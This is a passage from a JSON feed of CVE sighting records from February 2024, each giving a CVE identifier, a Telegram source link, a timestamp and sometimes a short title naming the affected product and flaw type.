"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22433", "type": "seen", "source": "https://t.me/ctinow/179828", "content": "https://ift.tt/Omqancu\nCVE-2024-22433", "creation_timestamp": "2024-02-06T08:26:55.000000Z"}, {"uuid": "5d19f284-1bdb-4ae4-9973-610c9140f07b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22455", "type": "seen", "source": "https://t.me/ctinow/184786", "content": "https://ift.tt/ue0vIf7\nCVE-2024-22455", "creation_timestamp": "2024-02-14T16:51:46.000000Z"}, {"uuid": "542c30a8-8398-471e-a440-14b29c19337a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22454", "type": "seen", "source": "https://t.me/ctinow/183681", "content": "https://ift.tt/bukYQnt\nCVE-2024-22454", "creation_timestamp": "2024-02-13T09:31:46.000000Z"}, {"uuid": "efe9feda-322a-4985-ac94-fdeae930283f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22445", "type": "seen", "source": "https://t.me/ctinow/183680", "content": "https://ift.tt/brAVF4y\nCVE-2024-22445", "creation_timestamp": "2024-02-13T09:31:45.000000Z"}, {"uuid": "caadd540-5e7d-478d-b072-0a6e588ad0f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22388", "type": "seen", "source": "https://t.me/ctinow/180434", "content": "https://ift.tt/ANhPv5Z\nCVE-2024-22388", "creation_timestamp": "2024-02-07T00:31:43.000000Z"}, {"uuid": "9fb85bbe-3c9e-4fd7-befa-d86e696bd6f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22515", "type": "seen", "source": "https://t.me/ctinow/180367", "content": "https://ift.tt/N8c5ag4\nCVE-2024-22515", "creation_timestamp": "2024-02-06T22:22:24.000000Z"}, {"uuid": "dcb710ed-0236-4529-bac8-b5008dc8378b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22514", "type": "seen", "source": "https://t.me/ctinow/180366", "content": "https://ift.tt/fem1Lkt\nCVE-2024-22514", "creation_timestamp": "2024-02-06T22:22:22.000000Z"}, {"uuid": "32479fe9-09e5-4e4f-878b-981621e05e54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22239", "type": "seen", "source": "https://t.me/ctinow/180335", "content": "https://ift.tt/5OtFInK\nCVE-2024-22239", "creation_timestamp": "2024-02-06T21:26:41.000000Z"}, {"uuid": "1ae0c1d5-4b76-4a4d-84b3-f92d6a877d9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22238", "type": "seen", "source": "https://t.me/ctinow/180334", "content": "https://ift.tt/vPJ7Ef2\nCVE-2024-22238", "creation_timestamp": "2024-02-06T21:26:40.000000Z"}, {"uuid": "652a1597-b88c-4741-ac7f-50421cd91038", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22043", "type": "seen", "source": "https://t.me/ctinow/183702", "content": "https://ift.tt/ujrPqOb\nCVE-2024-22043", "creation_timestamp": "2024-02-13T10:22:03.000000Z"}, {"uuid": "f8862c55-e248-41af-8758-6064a75526d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22042", "type": "seen", "source": "https://t.me/ctinow/183701", "content": "https://ift.tt/M1iq7rV\nCVE-2024-22042", "creation_timestamp": "2024-02-13T10:22:02.000000Z"}, {"uuid": "0a2c3ae1-ad27-4eb5-b092-7d33966ecc64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22667", "type": "seen", "source": "https://t.me/ctinow/180037", "content": "https://ift.tt/LUNW8lT\nCVE-2024-22667", "creation_timestamp": "2024-02-06T15:11:45.000000Z"}, {"uuid": "0728569f-30e6-4dea-8f7d-377b30760504", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22410", "type": "seen", "source": "https://t.me/ctinow/182909", "content": "https://ift.tt/H9gXKU0\nCVE-2024-22410 | gluwa creditcoin on Windows untrusted search path (GHSA-cx5c-xwcv-vhmq)", "creation_timestamp": "2024-02-12T06:31:56.000000Z"}, {"uuid": "a34221bf-382f-4e11-bc51-e95fe032335c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22853", "type": "seen", "source": "https://t.me/ctinow/179701", "content": "https://ift.tt/0IftNrb\nCVE-2024-22853", "creation_timestamp": "2024-02-06T03:26:41.000000Z"}, {"uuid": "5434985a-7ac9-44e5-b788-5fb0eebd4032", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22365", "type": "seen", "source": "https://t.me/ctinow/184446", "content": "https://ift.tt/Xopxvba\nCVE-2024-22365 Exploit", "creation_timestamp": "2024-02-14T08:16:52.000000Z"}, {"uuid": "4e8bf326-fb39-4ec3-9b57-7996de3cacc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22773", "type": "seen", "source": "https://t.me/ctinow/184202", "content": "https://ift.tt/nftT8zu\nCVE-2024-22773 Exploit", "creation_timestamp": "2024-02-13T21:16:53.000000Z"}, {"uuid": "ba5c0aba-7534-4201-ac2a-af5adea4cad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22852", "type": "seen", "source": "https://t.me/ctinow/184201", "content": "https://ift.tt/vK672jJ\nCVE-2024-22852 Exploit", "creation_timestamp": "2024-02-13T21:16:52.000000Z"}, {"uuid": "2ef9358d-6815-4b2a-a697-fc6e455296a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22682", "type": "seen", "source": "https://t.me/ctinow/179669", "content": "https://ift.tt/LvSDIaX\nCVE-2024-22682 Exploit", "creation_timestamp": "2024-02-06T02:16:54.000000Z"}, {"uuid": "dd43f7c0-e873-40e7-b3ba-a996ec77ac41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22096", "type": "seen", "source": "https://t.me/ctinow/177866", "content": "https://ift.tt/A1hdDMg\nCVE-2024-22096", "creation_timestamp": "2024-02-02T01:31:22.000000Z"}, {"uuid": "ab129671-dfdd-449e-ad95-1a7c7a293a4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22401", "type": "seen", "source": "https://t.me/ctinow/183120", "content": "https://ift.tt/lex0cdf\nCVE-2024-22401 | NextCloud Guests up to 2.4.0/2.5.0/3.0.0 Allowed Apps List behavioral workflow (GHSA-wr87-hx3w-29hh)", "creation_timestamp": "2024-02-12T14:41:45.000000Z"}, {"uuid": "b451ccd0-295e-4c53-9f42-fad6b1acbe87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22213", "type": "seen", "source": "https://t.me/ctinow/183118", "content": "https://ift.tt/k6H7OlK\nCVE-2024-22213 | NextCloud Deck up to 1.9.4/1.11.1 Organization cross site scripting (GHSA-mg7w-x9fm-9wwc)", "creation_timestamp": "2024-02-12T14:41:42.000000Z"}, {"uuid": "b1dcd2bd-6c62-4bdc-984b-e9bf10feb6ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22313", "type": "seen", "source": "https://t.me/ctinow/182614", "content": "https://ift.tt/3GLreI8\nCVE-2024-22313", "creation_timestamp": "2024-02-10T17:26:23.000000Z"}, {"uuid": "c4e59df8-a13e-4637-a370-ccfbc11c6d05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22312", "type": "seen", "source": "https://t.me/ctinow/182613", "content": "https://ift.tt/iqlpUNH\nCVE-2024-22312", "creation_timestamp": "2024-02-10T17:26:22.000000Z"}, {"uuid": "b16a315e-7b8e-4278-ac6c-2ec35f1e8729", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22361", "type": "seen", "source": "https://t.me/ctinow/182604", "content": "https://ift.tt/5glThKD\nCVE-2024-22361", "creation_timestamp": "2024-02-10T16:21:46.000000Z"}, {"uuid": "5f98bb8f-0c38-43bd-b992-e26e834456da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22916", "type": "seen", "source": "https://t.me/ctinow/182599", "content": "https://ift.tt/zEF0jx3\nCVE-2024-22916 | D-Link Go-RT-AC750 v101b03 sub_40E700 stack-based overflow", "creation_timestamp": "2024-02-10T16:11:40.000000Z"}, {"uuid": "60c41ab4-9b06-42da-9112-4fecbc9578ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22230", "type": "seen", "source": "https://t.me/ctinow/183385", "content": "https://ift.tt/6DU1XFv\nCVE-2024-22230", "creation_timestamp": "2024-02-12T20:27:05.000000Z"}, {"uuid": "b7baa552-2f57-4752-92cf-f00277e93c7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22228", "type": "seen", "source": "https://t.me/ctinow/183384", "content": "https://ift.tt/pgG6iyF\nCVE-2024-22228", "creation_timestamp": "2024-02-12T20:27:04.000000Z"}, {"uuid": "b5458005-7e3f-4708-a651-92531d9cbac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22227", "type": "seen", "source": "https://t.me/ctinow/183383", "content": "https://ift.tt/2iN96E1\nCVE-2024-22227", "creation_timestamp": "2024-02-12T20:27:03.000000Z"}, {"uuid": "d1937821-1329-485c-b3f2-020b94809a09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22226", "type": "seen", "source": "https://t.me/ctinow/183382", "content": "https://ift.tt/odzixCr\nCVE-2024-22226", "creation_timestamp": "2024-02-12T20:26:59.000000Z"}, {"uuid": "19b9a379-5542-4cb2-b357-704a72d33eb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22225", "type": "seen", "source": "https://t.me/ctinow/183381", "content": "https://ift.tt/vpzdjBs\nCVE-2024-22225", "creation_timestamp": "2024-02-12T20:26:58.000000Z"}, {"uuid": "6176d7b3-d47d-453f-bbc9-fe1f369dc544", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22224", "type": "seen", "source": "https://t.me/ctinow/183380", "content": "https://ift.tt/jg2hMFH\nCVE-2024-22224", "creation_timestamp": "2024-02-12T20:26:57.000000Z"}, {"uuid": "f0679f6c-b6e2-4390-8b6e-9ea44fa9d404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22223", "type": "seen", "source": "https://t.me/ctinow/183379", "content": "https://ift.tt/lIB2HGd\nCVE-2024-22223", "creation_timestamp": "2024-02-12T20:26:56.000000Z"}, {"uuid": "daf566b4-289b-4064-8c95-d02e325ba149", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22222", "type": "seen", "source": "https://t.me/ctinow/183378", "content": "https://ift.tt/lWgDUc3\nCVE-2024-22222", "creation_timestamp": "2024-02-12T20:26:55.000000Z"}, {"uuid": "a54a4c6a-9323-4f27-b2f6-325b71d4390e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22221", "type": "seen", "source": "https://t.me/ctinow/183377", "content": "https://ift.tt/YUMNxem\nCVE-2024-22221", "creation_timestamp": "2024-02-12T20:26:54.000000Z"}, {"uuid": "1e5e362c-3145-4d7e-8def-10f6d3aa02c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22601", "type": "seen", "source": "https://t.me/ctinow/183126", "content": "https://ift.tt/xzedHB5\nCVE-2024-22601 | FlyCMS 1.0 scorerule_save cross-site request forgery", "creation_timestamp": "2024-02-12T14:41:52.000000Z"}, {"uuid": "dd7ef269-33ed-495f-8c6a-fc530e9b5a73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22404", "type": "seen", "source": "https://t.me/ctinow/183122", "content": "https://ift.tt/Ub50KsE\nCVE-2024-22404 | NextCloud Files ZIP up to 1.2.0/1.4.0 ZIP Archive access control", "creation_timestamp": "2024-02-12T14:41:47.000000Z"}, {"uuid": "0ef4b9ff-9d8d-487f-b151-4a7038457f41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22202", "type": "seen", "source": "https://t.me/ctinow/184206", "content": "https://ift.tt/36TBckS\nCVE-2024-22202 Exploit", "creation_timestamp": "2024-02-13T21:16:57.000000Z"}, {"uuid": "062a0faa-22a5-437f-9786-fe45da9a221a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22923", "type": "seen", "source": "https://t.me/ctinow/183972", "content": "https://ift.tt/dYprTgQ\nCVE-2024-22923", "creation_timestamp": "2024-02-13T17:22:03.000000Z"}, {"uuid": "ba97e32f-cbe0-441c-bcf2-da2bae85f32a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22853", "type": "seen", "source": "https://t.me/ctinow/183407", "content": "https://ift.tt/hMnXu0K\nCVE-2024-22853 Exploit", "creation_timestamp": "2024-02-12T21:16:44.000000Z"}, {"uuid": "eced9a9c-c40f-47f2-a47b-4a755b3dbf73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22548", "type": "seen", "source": "https://t.me/ctinow/183030", "content": "https://ift.tt/jbUrJh7\nCVE-2024-22548 | FlyCMS 1.0 System Website Settings cross site scripting", "creation_timestamp": "2024-02-12T11:07:22.000000Z"}, {"uuid": "61250ef9-a57c-4e56-9d96-42bf90914ac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22494", "type": "seen", "source": "https://t.me/ctinow/178264", "content": "https://ift.tt/Xr5ZTAY\nCVE-2024-22494 | JFinalcms 5.0.0 /gusetbook/save mobile cross site scripting", "creation_timestamp": "2024-02-02T20:46:44.000000Z"}, {"uuid": "32abf10c-74d6-4efe-a37e-24ea1369f145", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22903", "type": "seen", "source": "https://t.me/ctinow/177901", "content": "https://ift.tt/ZLmXw89\nCVE-2024-22903", "creation_timestamp": "2024-02-02T03:22:07.000000Z"}, {"uuid": "80133bdb-b22f-4d51-88c8-5e67f2d2ed7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22152", "type": "seen", "source": "https://t.me/ctinow/183174", "content": "https://ift.tt/drgxY9v\nCVE-2024-22152 | Product Import Export for WooCommerce Plugin up to 2.3.7 on WordPress upload_import_file unrestricted upload", "creation_timestamp": "2024-02-12T15:41:35.000000Z"}, {"uuid": "7cfc9a4c-f1b7-454d-a342-15effa6d7fe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22212", "type": "seen", "source": "https://t.me/ctinow/183106", "content": "https://ift.tt/uZex6km\nCVE-2024-22212 | NextCloud Global Site Selector up to 1.4.0/2.1.1/2.3.3/2.4.4 authentication bypass (GHSA-vj5q-f63m-wp77)", "creation_timestamp": "2024-02-12T14:11:43.000000Z"}, {"uuid": "ac0c3eb9-b618-46a2-81d1-15306303191b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22129", "type": "seen", "source": "https://t.me/ctinow/183604", "content": "https://ift.tt/7yU9pkR\nCVE-2024-22129", "creation_timestamp": "2024-02-13T05:21:22.000000Z"}, {"uuid": "314b5327-3189-40e5-9e22-c4f400c14ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "seen", "source": "https://t.me/ctinow/183603", "content": "https://ift.tt/TV6wzWP\nCVE-2024-22024", "creation_timestamp": "2024-02-13T05:21:21.000000Z"}, {"uuid": "50f4b6f4-59d8-4ae9-8b1b-cd1947f5a5ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22131", "type": "seen", "source": "https://t.me/ctinow/183593", "content": "https://ift.tt/w6Ik5KM\nCVE-2024-22131", "creation_timestamp": "2024-02-13T04:31:46.000000Z"}, {"uuid": "e43b3078-5c30-4e25-b940-d96b851e91b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22130", "type": "seen", "source": "https://t.me/ctinow/183592", "content": "https://ift.tt/V51UyLR\nCVE-2024-22130", "creation_timestamp": "2024-02-13T04:31:45.000000Z"}, {"uuid": "61ad5ec8-f6b7-4194-8020-915dd9e29ee9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22128", "type": "seen", "source": "https://t.me/ctinow/183583", "content": "https://ift.tt/T5kYvz1\nCVE-2024-22128", "creation_timestamp": "2024-02-13T03:21:38.000000Z"}, {"uuid": "93a5075a-213d-4621-ad3a-dd92b3c8c42c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22126", "type": "seen", "source": "https://t.me/ctinow/183582", "content": "https://ift.tt/Pr2FC9Y\nCVE-2024-22126", "creation_timestamp": "2024-02-13T03:21:37.000000Z"}, {"uuid": "5c354aa7-a5ac-41af-b71b-be9239412cd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22362", "type": "seen", "source": "https://t.me/ctinow/178589", "content": "https://ift.tt/ZJATC01\nCVE-2024-22362 | Drupal prior 9.5.0 Structural Element denial of service", "creation_timestamp": "2024-02-03T15:46:47.000000Z"}, {"uuid": "9114bc02-2188-470c-a561-28c7464c43cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22603", "type": "seen", "source": "https://t.me/ctinow/183127", "content": "https://ift.tt/buPKxrk\nCVE-2024-22603 | FlyCMS 1.0 /system/links/add_link cross-site request forgery", "creation_timestamp": "2024-02-12T14:41:53.000000Z"}, {"uuid": "128db92a-76a7-444c-948e-8d404519f4c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22549", "type": "seen", "source": "https://t.me/ctinow/183041", "content": "https://ift.tt/UV36evI\nCVE-2024-22549 | FlyCMS 1.0 Email Settings cross site scripting", "creation_timestamp": "2024-02-12T11:36:50.000000Z"}, {"uuid": "d47c559a-2cac-4aa1-8d84-1878b667cd1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22317", "type": "seen", "source": "https://t.me/ctinow/183029", "content": "https://ift.tt/LEVWSgG\nCVE-2024-22317 | IBM App Connect Enterprise up to 11.0.0.24/12.0.11.0 excessive authentication (XFDB-279143)", "creation_timestamp": "2024-02-12T11:07:21.000000Z"}, {"uuid": "ab1433a5-0d63-4fdd-a9f3-c8ab8e46a107", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22028", "type": "seen", "source": "https://t.me/ctinow/178496", "content": "https://ift.tt/ts36Wiu\nCVE-2024-22028 | Three R Solution 3R-TMC06 information disclosure", "creation_timestamp": "2024-02-03T11:11:35.000000Z"}, {"uuid": "09a3eb33-3300-4682-82dc-059245b90a50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22419", "type": "seen", "source": "https://t.me/ctinow/183104", "content": "https://ift.tt/is1LuQw\nCVE-2024-22419 | Vyper up to 0.3.10 buffer overflow (ID 3737)", "creation_timestamp": "2024-02-12T14:11:41.000000Z"}, {"uuid": "201269db-750b-4b15-b833-11a5e4f7611c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22153", "type": "seen", "source": "https://t.me/ctinow/183085", "content": "https://ift.tt/vYJB1C3\nCVE-2024-22153 | Stock Locations for WooCommerce Plugin up to 2.5.9 on WordPress Setting cross site scripting", "creation_timestamp": "2024-02-12T13:11:48.000000Z"}, {"uuid": "613cfd22-0b96-4996-b356-4c8fb0066e83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22819", "type": "seen", "source": "https://t.me/ctinow/183084", "content": "https://ift.tt/xJkCPj9\nCVE-2024-22819 | FlyCMS 1.0 email_templets_update cross-site request forgery", "creation_timestamp": "2024-02-12T13:11:47.000000Z"}, {"uuid": "406967d9-a412-4391-8aa1-2313d57733a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22818", "type": "seen", "source": "https://t.me/ctinow/183083", "content": "https://ift.tt/tVzNjOE\nCVE-2024-22818 | FlyCMS 1.0 filterKeyword_save cross-site request forgery", "creation_timestamp": "2024-02-12T13:11:46.000000Z"}, {"uuid": "53aa49a0-2382-455f-9cf8-bbf3575099ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22817", "type": "seen", "source": "https://t.me/ctinow/183077", "content": "https://ift.tt/N473Lb0\nCVE-2024-22817 | FlyCMS 1.0 email_conf_updagte cross-site request forgery", "creation_timestamp": "2024-02-12T12:36:24.000000Z"}, {"uuid": "295773ae-fe09-4520-919c-413023640e81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22593", "type": "seen", "source": "https://t.me/ctinow/183076", "content": "https://ift.tt/vsAFDyg\nCVE-2024-22593 | FlyCMS 1.0 add_group_save cross-site request forgery", "creation_timestamp": "2024-02-12T12:36:23.000000Z"}, {"uuid": "695dd484-507a-4b5c-8234-a8af2f9da2a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22699", "type": "seen", "source": "https://t.me/ctinow/183075", "content": "https://ift.tt/WTbS9Xq\nCVE-2024-22699 | FlyCMS 1.0 update_group_save cross-site request forgery", "creation_timestamp": "2024-02-12T12:36:22.000000Z"}, {"uuid": "321ff92e-0cd6-4848-a288-103903455ece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22400", "type": "seen", "source": "https://t.me/ctinow/183117", "content": "https://ift.tt/UfN7V0e\nCVE-2024-22400 | NextCloud User Saml up to 5.1.4/5.2.4/6.0.0 Link redirect (GHSA-622q-xhfr-xmv7)", "creation_timestamp": "2024-02-12T14:41:41.000000Z"}, {"uuid": "ad498e4f-a466-4040-bbc9-34b45230e550", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22568", "type": "seen", "source": "https://t.me/ctinow/183056", "content": "https://ift.tt/iUMFA91\nCVE-2024-22568 | FlyCMS 1.0 /system/score/del cross-site request forgery", "creation_timestamp": "2024-02-12T12:06:29.000000Z"}, {"uuid": "89ad87e1-32c7-4749-ab49-23da304e71d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22714", "type": "seen", "source": "https://t.me/ctinow/182666", "content": "https://ift.tt/0t9F2LR\nCVE-2024-22714 | Stupid Simple CMS up to 1.2.4 Editing Section cross site scripting", "creation_timestamp": "2024-02-10T23:46:22.000000Z"}, {"uuid": "d13a0c3f-9d55-4b97-a800-a80afa73fb59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22402", "type": "seen", "source": "https://t.me/ctinow/183121", "content": "https://ift.tt/b62Ms5X\nCVE-2024-22402 | NextCloud Guests up to 2.4.0/2.5.0/3.0.0 Request URL url encoding (GHSA-v3qw-7vgv-2fxj)", "creation_timestamp": "2024-02-12T14:41:46.000000Z"}, {"uuid": "684d75d3-c4d6-4395-acb3-d4c6c1662f95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22415", "type": "seen", "source": "https://t.me/ctinow/183105", "content": "https://ift.tt/yIMFwB8\nCVE-2024-22415 | jupyterlab-lsp up to 2.2.1 File System path traversal", "creation_timestamp": "2024-02-12T14:11:42.000000Z"}, {"uuid": "2d8b1118-7eb8-4da5-8ff1-ac22292d97bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 